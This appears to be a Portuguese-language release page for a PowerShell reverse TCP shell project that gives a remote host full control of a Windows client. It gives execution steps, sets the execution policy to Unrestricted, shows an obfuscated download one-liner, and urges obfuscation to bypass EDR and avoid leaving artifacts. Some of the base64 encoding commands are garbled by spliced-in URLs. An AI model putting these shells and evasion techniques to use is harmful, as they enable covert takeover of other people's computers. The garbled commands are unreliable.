Voltar às atualizações
New releaseAug 16, 2026

powershell-reverse-tcp v5.0

Scripts PowerShell para comunicação com um host remoto.

Compartilhar

PowerShell Reverse TCP

Scripts PowerShell para comunicação com um host remoto.

O host remoto terá controle total sobre o cliente e todos os comandos do sistema subjacente.

Verifique shells baseadas em:

  • comando PowerShell Invoke-Expression aqui,
  • pipes de processo aqui.

Testado com PowerShell v5.1.19041.2673 no Windows 10 Enterprise (64 bits).

Feito para fins educacionais. Espero que ajude!

Este repositório começou a ter assinaturas conhecidas e não tenho tempo para enviar novos scripts a cada vez, então você deve ofuscar esses scripts por conta própria.

Planos futuros:

  • mais shells baseadas em pipes de processo, e otimizá-las ainda mais.

Índice

Como Executar

Altere o endereço IP e o número da porta nos scripts conforme necessário.

Abra o PowerShell a partir de \src\invoke_expression\original\ ou \src\process_pipes\original\ e execute os comandos mostrados abaixo.

Defina a política de execução:```pwsh Set-ExecutionPolicy Unrestricted

Execute o script:```pwsh
.\powershell_reverse_tcp.ps1

Ou, execute o seguinte comando a partir do PowerShell ou do Prompt de Comando:```pwsh PowerShell -ExecutionPolicy Unrestricted -File .\powershell_reverse_tcp.ps1

## Ofuscar Scripts PowerShell

Tente contornar EDR e outros mecanismos de segurança ofuscando seus scripts. Você pode ver essas ofuscações nos exemplos abaixo.

Comando PowerShell original:```pwsh
(New-Object Net.WebClient).DownloadFile($url, $out)

Comando PowerShell ofuscado:```pwsh & (GCM *ke-E*) '(& (GCM ew-O) NET.WEBCLIENT)."DOWNLOADFIL`E"($url, $out)'

**Verifique o script PowerShell original [aqui](https://github.com/ivan-sincek/powershell-reverse-tcp/blob/master/src/invoke_expression/original/powershell_reverse_tcp.ps1) e o totalmente ofuscado [aqui](https://github.com/ivan-sincek/powershell-reverse-tcp/blob/master/src/invoke_expression/obfuscated/invoke_obfuscation/powershell_reverse_tcp_obfuscated.ps1).**

Após [ofuscação manual](https://github.com/ivan-sincek/powershell-reverse-tcp/blob/master/src/invoke_expression/obfuscated/powershell_reverse_tcp_manual.ps1), o script PowerShell original foi ofuscado com [Invoke-Obfuscation](https://github.com/danielbohannon/Invoke-Obfuscation). Créditos ao autor!

Pesquise na Internet por técnicas e métodos adicionais de ofuscação.

P.S. Como o PowerShell é constantemente atualizado, algumas expressões regulares (ex.: `*ke-E*`) podem começar a lançar exceções devido à correspondência de múltiplos métodos à mesma expressão, portanto as expressões precisarão ser especificadas um pouco melhor.

### Comando Codificado do PowerShell

Para gerar um comando codificado do PowerShell a partir de um script PowerShell, execute o seguinte comando PowerShell:```pwsh
[Convert]:https://raw.githubusercontent.com/ivan-sincek/powershell-reverse-tcp/master/:ToBase64String(%5BText.Encoding%5D::Unicode.GetBytes(%5BIO.File%5D::ReadAllText($script)))

Para descodificar um comando codificado do PowerShell, execute o seguinte comando do PowerShell:```pwsh [Text.Encoding]:https://raw.githubusercontent.com/ivan-sincek/powershell-reverse-tcp/master/:Unicode.GetString(%5BConvert%5D::FromBase64String($command))

Use os comandos de uma linha abaixo se você não quiser deixar nenhum artefato para trás.

---

Categorias